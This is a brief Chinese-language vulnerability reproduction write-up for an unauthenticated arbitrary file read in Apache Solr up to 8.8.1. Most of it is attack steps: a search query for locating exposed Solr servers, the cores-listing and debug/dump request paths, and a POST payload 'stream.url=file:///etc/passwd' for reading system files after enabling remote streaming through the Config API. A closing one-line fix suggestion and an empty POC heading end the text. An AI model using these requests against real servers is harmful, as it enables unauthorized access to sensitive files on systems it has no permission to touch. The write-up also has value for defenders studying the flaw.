Apache-Solr任意文件读取
0X001前言
Solr 是一个开源的企业级搜索服务器,底层使用易于扩展和修改的Java 来实现。服务器通信使用标准的HTTP 和XML
Solr 主要特性有:强大的全文检索功能,高亮显示检索结果,动态集群,数据库接口和电子文档(Word ,PDF 等)的处理。而且Solr 具有高度的可扩展,支持分布搜索和索引的复制。
0X002 漏洞影响
0X0021 描述
攻击者可以在未授权的情况下读取目标服务器敏感文件和相关内容。
0X0022 版本
Apache Solr <= 8.8.1(最新版,目前官方以RemoteStreaming默认关闭为由拒绝修复…但是可以通过config接口开启)
0X003 漏洞原理
漏洞利用需要两步,首先利用Config API打开默认关闭的requestDispatcher.requestParsers.enableRemoteStreaming开关,然后进行文件读取。
值得注意的是,默认情况下requestDispatcher.requestParsers.enableRemoteStreaming是关闭,攻击者并不能进行任意文件读取。
0X004 漏洞复现
0X041 空间搜索寻找目标
app="Apache-Solr"
0X042访问敏感文件
路径:[ip]/solr/admin/cores?indexInfo=false&wt=json
获取到名称之后构造对应的poc
[ip]/solr/edge_index_shard1_replica1/debug/dump?param=ContentStreams&wt=json
0X043任意文件读取
抓取数据包改成post请求并且在请求数据中添加:stream.url=file:///etc/passwd
ps补充:如果读取不到打开配置
0X005 POC
0X006 修复建议
限制url路径的访问